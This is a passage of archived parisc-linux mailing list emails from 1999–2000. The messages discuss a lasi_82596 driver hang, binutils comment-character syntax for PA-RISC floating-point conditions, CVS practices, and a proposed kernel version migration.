	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 06:40:56 -0600
Original-Received: (qmail 21863 invoked by uid 15267); 18 May 2000 12:41:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21852 invoked from network); 18 May 2000 12:41:03 -0000
Original-Received: from mail.execulink.com (HELO amsterdam.execulink.net) (199.166.6.19)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 12:41:03 -0000
Original-Received: from ppp162.a1-2.56k.execulink.com (ppp162.a1-2.56k.execulink.com [209.239.9.228])
	by amsterdam.execulink.net (8.9.3/8.9.3) with ESMTP id IAA11843;
	Thu, 18 May 2000 08:32:10 -0400 (EDT)
X-Sender: chris@boy.localdomain
In-Reply-To: <20000518120342.6224.qmail@web515.mail.yahoo.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7295

> I had the same problem on my 715/33 with lasi_82596.c.
> I emailed Helge Deller who made the last changes to
> this driver and he told me that there seems to be the
> problem that not all interrupts from the i82596 are
> delivered to the interrupt routine. The result of this
> is that all 16 xmit buffers will get filled and then
> the kernel hangs.

That's what I came up with as well.

> He also told me that he will have no time until 23rd
> of May (approx.) to find the reason for this and to
> correct it. So right now there is no way to use
> NFSROOT on a 715/old.

Well, I'm going to keep playing with it over the next few days, although
I'm not sure if I'll have any success...

If I succeed in fixing anything, I'll be sure to let everyone know.


Thanks,


     Chris


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 06:48:06 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20000518064806.A17788@puffin.external.hp.com>
References: <20000518045138.C14031@puffin.external.hp.com> <Pine.LNX.4.21.0005182055320.6449-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618920 32689 80.91.229.3 (22 Nov 2014 01:15:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: prumpf@puffin.external.hp.com  Thu May 18 06:48:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA17817
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 06:48:18 -0600
Original-Received: (qmail 26387 invoked by uid 15267); 18 May 2000 12:48:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26379 invoked from network); 18 May 2000 12:48:25 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 12:48:25 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id GAA17810;
	Thu, 18 May 2000 06:48:06 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.21.0005182055320.6449-100000@front.linuxcare.com.au>; from Alan Modra on Thu, May 18, 2000 at 09:09:09PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7296

> I'm talking about floating point compare instruction conditions, for
> example: "fcmp,dbl,!?>= %fr4,%fr5"

Oh, I see.  (I stupidly only checked the condition codes tables in the
architecture manual, the floating point conditions were in the FPU
section).

So, '!' isn't usable as either line comment or '\n'-equivalent
character without hacking.  Let's just not use it ?

	Philipp Rumpf


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 18:05:27 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <m10NhAe-0007U1C@the-village.bc.nu>
References: <36F12FE8.308782A2@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618920 32694 80.91.229.3 (22 Nov 2014 01:15:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:20 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Mar 18 12:11:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA23400
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 12:11:29 -0500
Original-Received: (qmail 10832 invoked by uid 15267); 18 Mar 1999 17:10:45 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 10825 invoked from network); 18 Mar 1999 17:10:45 -0000
Original-Received: from snowcrash.cymru.net (163.164.160.3)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 17:10:45 -0000
Original-Received: from the-village.bc.nu (lightning.swansea.uk.linux.org [194.168.151.1]) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id RAA06779 for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 17:11:19 GMT
Original-Received: by the-village.bc.nu (Smail3.1.29.1 #2)
	id m10NhAe-0007U1C; Thu, 18 Mar 99 18:05 GMT
In-Reply-To: <36F12FE8.308782A2@netscape.com> from "Mike Shaver" at Mar 18, 99 11:55:04 am
Xref: news.gmane.org gmane.linux.ports.parisc:7297

> Here's how I think it works:
> The GATE completer takes its privilege from the TLB entry for the page
> _containing_ the BRANCH-with-GATE (see 4-5 in the PARISC 2.0 book).  So
> what we do is have a page (at 0xC0000000, probably) that has
> appropriately high privilege level in the TLB, and yet is executable by
> the user-space process.  I think that means that the TLB access rights
> field is [100,11,11]:

Oh man its a vax  8)

Yeah that would be fairly believable. VMS actually does this sort of stuff
with the vax architecture equivalent for libraries - think  setuid mmap 8)


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 23:19:31 +1000 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005182256370.13052-100000@front.linuxcare.com.au>
References: <20000518064806.A17788@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618920 32699 80.91.229.3 (22 Nov 2014 01:15:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu May 18 07:19:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA18099
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 07:19:36 -0600
Original-Received: (qmail 14472 invoked by uid 15267); 18 May 2000 13:19:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14419 invoked from network); 18 May 2000 13:19:42 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 13:19:42 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA13283;
	Thu, 18 May 2000 23:19:31 +1000
In-Reply-To: <20000518064806.A17788@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7298

On Thu, 18 May 2000, Philipp Rumpf wrote:

> > I'm talking about floating point compare instruction conditions, for
> > example: "fcmp,dbl,!?>= %fr4,%fr5"
> 
> Oh, I see.  (I stupidly only checked the condition codes tables in the
> architecture manual, the floating point conditions were in the FPU
> section).
> 
> So, '!' isn't usable as either line comment or '\n'-equivalent
> character without hacking.  Let's just not use it ?

It works quite OK as a line separator.  The assembler line separator is
not a '\n' equivalent.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 09:23:37 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <2003.958663417@upchuck>
References: <Pine.LNX.4.21.0005182055320.6449-100000@front.linuxcare.com.au>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618921 32701 80.91.229.3 (22 Nov 2014 01:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:21 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Thu May 18 09:32:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA19523
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 09:32:56 -0600
Original-Received: (qmail 27899 invoked by uid 15267); 18 May 2000 15:33:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27880 invoked from network); 18 May 2000 15:33:04 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 15:33:04 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id JAA02011;
	Thu, 18 May 2000 09:23:38 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 18 May 2000 21:09:09 +1000.
             <Pine.LNX.4.21.0005182055320.6449-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:7299


  In message <Pine.LNX.4.21.0005182055320.6449-100000@front.linuxcare.com.au>yo
u write:
  > On Thu, 18 May 2000, Philipp Rumpf wrote:
  > 
  > > > Using `!' for comments
  > > > a) breaks fp condition codes.
  > > 
  > > No, it doesn't.  The condition code for fp "not equal" is "<>", not "!=".
  > 
  > I'm talking about floating point compare instruction conditions, for
  > example: "fcmp,dbl,!?>= %fr4,%fr5"
Alan is correct.  A large number of the FP comparisons use '!'.  

jeff


From - Thu Nov 08 21:12:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 09:19:25 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <200005181619.JAA03911@milano.cup.hp.com>
References: <20000518045138.C14031@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618921 32705 80.91.229.3 (22 Nov 2014 01:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: grundler@cup.hp.com  Thu May 18 10:20:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA20229
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 10:20:12 -0600
Original-Received: (qmail 8335 invoked by uid 15267); 18 May 2000 16:20:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8285 invoked from network); 18 May 2000 16:20:18 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 16:20:18 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP id C347EADB
	for <parisc-linux@thepuffingroup.com>; Thu, 18 May 2000 12:20:06 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id JAA03911; Thu, 18 May 2000 09:19:26 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 18 May 2000 04:51:38 PDT."
             <20000518045138.C14031@puffin.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7300

Philipp Rumpf wrote:
> > b) is inconsistent with existing hp assembler.
> 
> Your point ?

I think Alan meant it breaks with existing GNU toolchain for parisc.

And even if he didn't, asking people to change assembler files
for "internal" reasons (glibc/whatever) seems like an extra hurdle
that just doesn't have to be. I'd like to make it easier for people
to migrate from HP-UX (OpenBSD/FreeBSD/mklinux/whatever) to parisc-linux.

...
> All in all even _if_ you have a reason to change it back it could have used
> some discussion.  So far you haven't.

Alan has.  But no one replied publicly. See
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/05-May/0038.html

Paul Bame and I both replied privately that he should go ahead
and make the change. So you can blame us if you like. :^)

...
> Any idea which illegal drug the person who decided "!=" was the fp not
> equal condition code was on ;) ?

No...but I suspect the FP was developed *seperately* from the PA-RISC CPU.
Don't need drugs to get divergence - it's almost guaranteed to happen
one way or another.

> > Linuxcare.  Support for the Revolution.
> 
> And it's just in historical spirit that those actually supporting the
> revolution lose their jobs ... (yes, I think the signature is quite 
> inconsiderate.)

Without companies *like* Linuxcare, linux wouldn't have a rat's ass
chance in the business world. I think the signature is quite accurate.
And anyone with even 1% clue about linux is certainly not having
employment problems right now.  (I'm proof of that! :^)

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tor@spacetec.no (Tor Arntsen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 19:26:51 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <200005181726.TAA18863@pallas.spacetec.no>
References: <alan@linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618921 32706 80.91.229.3 (22 Nov 2014 01:15:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tor@spacetec.no  Thu May 18 11:26:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20889
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 11:26:52 -0600
Original-Received: (qmail 6846 invoked by uid 15267); 18 May 2000 17:27:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6680 invoked from network); 18 May 2000 17:26:53 -0000
Original-Received: from firewall.spacetec.no (HELO pallas.spacetec.no) (192.51.5.5)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 17:26:53 -0000
Original-Received: (from tor@localhost)
	by pallas.spacetec.no (8.9.1a/8.9.1) id TAA18863
	for parisc-linux@thepuffingroup.com; Thu, 18 May 2000 19:26:51 +0200
In-Reply-To: Alan Modra <alan@linuxcare.com.au>
       "Re: [parisc-linux] New binutils available from cvs" (May 18, 11:45)
X-Mailer: Mail User's Shell (7.2.6 beta(4) 03/19/98)
Xref: news.gmane.org gmane.linux.ports.parisc:7301

On May 18, 11:45, Alan Modra wrote:
>On Thu, 18 May 2000, Philipp Rumpf wrote:
>> Any reason for renaming cvs modules all the time instead of staying with
>> one name and perhaps not pissing off people with slow, expensive
>> connections ?
>
>Mainly so people can still easily use the old binutils.  .diff.gz came to
[...]

That's what tags and branches are for!  *Please* use CVS the way it was
meant to be used, don't use it like some old SCCS system!

It's now close to impossible to track these things.  cvs co -c doesn't show
the modules either, without keeping *very* close tracking of the mailing
list we won't even know what we should/can use.

>1.8M anyway.  I can put the diff somewhere you can get it, if you like.

Sigh.  What *for*?  See above, that's why CVS has branches and tags which
makes it easy for users to:
a) See what's in there (cvs status -v)
b) Switch between versions with ease and with minimal bandwidth
c) Keep several versions locally (copy a tree and switch to other branch or 
   rev.)

-Tor


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New binutils available from cvs
Date: Thu, 18 May 2000 15:40:19 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20000518154019.C20055@thepuffingroup.com>
References: <alan@linuxcare.com.au> <200005181726.TAA18863@pallas.spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618922 32708 80.91.229.3 (22 Nov 2014 01:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Tor Arntsen <tor@spacetec.no>
Original-X-From: willy@thepuffingroup.com  Thu May 18 12:40:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA21812
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 12:40:54 -0600
Original-Received: (qmail 12972 invoked by uid 15267); 18 May 2000 18:40:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12916 invoked from network); 18 May 2000 18:40:56 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 18:40:56 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id PAA21211;
	Thu, 18 May 2000 15:40:19 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200005181726.TAA18863@pallas.spacetec.no>; from Tor Arntsen on Thu, May 18, 2000 at 07:26:51PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7302

On Thu, May 18, 2000 at 07:26:51PM +0200, Tor Arntsen wrote:
> That's what tags and branches are for!  *Please* use CVS the way it was
> meant to be used, don't use it like some old SCCS system!

the trouble is that none of us are sufficiently skilled with CVS to cope
with the tags and branches.  there've been sufficient problems before when
we've tried to use them to convince us that it really isn't worthwhile
for this particular developmnt community.  i should note that prumpf was
one of the people who complained the loudest about the use of CVS tags.


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] move to 2.3.99pre8?
Date: Thu, 18 May 2000 17:14:49 -0400
Lines: 6
Approved: news@gmane.org
Message-ID: <20000518171449.E20055@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618922 32712 80.91.229.3 (22 Nov 2014 01:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu May 18 14:14:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA22537
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 14:14:43 -0600
Original-Received: (qmail 4510 invoked by uid 15267); 18 May 2000 20:14:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4482 invoked from network); 18 May 2000 20:14:50 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 20:14:50 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id RAA22588
	for parisc-linux@thepuffingroup.com; Thu, 18 May 2000 17:14:49 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7303


i just thought i'd throw out a feeler to see what people think about
moving to 2.3.99pre8.  it seems reasonably stable to me, but I haven't
tried root nfs yet.  i have some conflicting things to work on right now,
but how would people feel about having friday 26th may as migration day?


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] move to 2.3.99pre8?
Date: Thu, 18 May 2000 23:41:02 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20000518234102.B2592@alpha.franken.de>
References: <20000518171449.E20055@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618922 32715 80.91.229.3 (22 Nov 2014 01:15:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: tsbogend@alpha.franken.de  Thu May 18 15:42:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA23152
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 15:42:45 -0600
Original-Received: (qmail 17971 invoked by uid 15267); 18 May 2000 21:42:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17949 invoked from network); 18 May 2000 21:42:49 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 21:42:49 -0000
Original-Received: by rachael.franken.de
	via sendmail with stdio
	id <m12sY44-0027YEC@rachael.franken.de>
	for parisc-linux@thepuffingroup.com; Thu, 18 May 2000 23:42:44 +0200 (MET DST)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: from dns.franken.de(193.175.24.33), claiming to be "chico.franken.de"
 via SMTP by rachael.franken.de, id smtpdAAAa23565; Thu May 18 23:42:43 2000
Original-Received: by chico.franken.de with UUCP 
	for willy@thepuffingroup.com
	id m12sY43-005D1XC; Thu, 18 May 2000 23:42:43 +0200 (MET DST)
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id XAA02605;
	Thu, 18 May 2000 23:41:03 +0200
X-Mailer: Mutt 1.0.1i
In-Reply-To: <20000518171449.E20055@thepuffingroup.com>; from willy@thepuffingroup.com on Thu, May 18, 2000 at 05:14:49PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7304

On Thu, May 18, 2000 at 05:14:49PM -0400, willy@thepuffingroup.com wrote:
> 
> i just thought i'd throw out a feeler to see what people think about
> moving to 2.3.99pre8.  it seems reasonably stable to me, but I haven't
> tried root nfs yet.  i have some conflicting things to work on right now,
> but how would people feel about having friday 26th may as migration day?

is it really necessary to sync again ? I don't see it helping us, or
is there some bugs in pre1, we need to get tid of ?

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/50 hang - more info
Date: Fri, 19 May 2000 00:26:37 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20000519002637.C1209@linuxcare.com>
References: <20000518120342.6224.qmail@web515.mail.yahoo.com> <Pine.LNX.4.21.0005180830031.13618-100000@boy.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618923 32721 80.91.229.3 (22 Nov 2014 01:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:23 +0000 (UTC)
Cc: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
To: Chris Snow <csnow@julian.uwo.ca>
Original-X-From: rhirst@linuxcare.com  Thu May 18 17:26:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA24038
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 May 2000 17:26:39 -0600
Original-Received: (qmail 25295 invoked by uid 15267); 18 May 2000 23:26:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25283 invoked from network); 18 May 2000 23:26:47 -0000
Original-Received: from dyn104-ras32.screaming.net (HELO rhirst.linuxcare.com) (postfix@212.49.255.104)
  by mailserv2.iuinc.com with SMTP; 18 May 2000 23:26:47 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D2B51B007; Fri, 19 May 2000 00:26:37 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0005180830031.13618-100000@boy.localdomain>; from csnow@julian.uwo.ca on Thu, May 18, 2000 at 08:31:56AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7305

Hi,
  I have just committed changes to drivers/net/lasi_82596.c and
drivers/gsc/lan.c.  Fairly big changes to lasi_82596.c, partly
just tidyup, partly improvements to cache handling.  It is still
not perfect but is a _lot_ better than it was.  The change to
lan.c was to use a different probe function on older h/w (like
my 715/75), where we need to swap the MPU_PORT, as per the message
from prumpf.  If the driver seems completely dead for you, try
enabling/disabling that word swap, and please let me know that
you needed to.

All success or failure reports welcome :-)

Richard


On Thu, May 18, 2000 at 08:31:56AM -0400, Chris Snow wrote:
> > I had the same problem on my 715/33 with lasi_82596.c.
> > I emailed Helge Deller who made the last changes to
> > this driver and he told me that there seems to be the
> > problem that not all interrupts from the i82596 are
> > delivered to the interrupt routine. The result of this
> > is that all 16 xmit buffers will get filled and then
> > the kernel hangs.
> 
> That's what I came up with as well.
> 
> > He also told me that he will have no time until 23rd
> > of May (approx.) to find the reason for this and to
> > correct it. So right now there is no way to use
> > NFSROOT on a 715/old.
> 
> Well, I'm going to keep playing with it over the next few days, although
> I'm not sure if I'll have any success...
> 
> If I succeed in fixing anything, I'll be sure to let everyone know.
> 
> 
> Thanks,
> 
> 
>      Chris
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] move to 2.3.99pre8?
Date: Thu, 18 May 2000 21:04:35 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20000518210435.B28590@thepuffingroup.com>
References: <20000518171449.E20055@thepuffingroup.com> <20000518234102.B2592@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618923 32725 80.91.229.3 (22 Nov 2014 01:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:23 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: willy@thepuffingroup.com  Thu May 18 18:04:34 2000
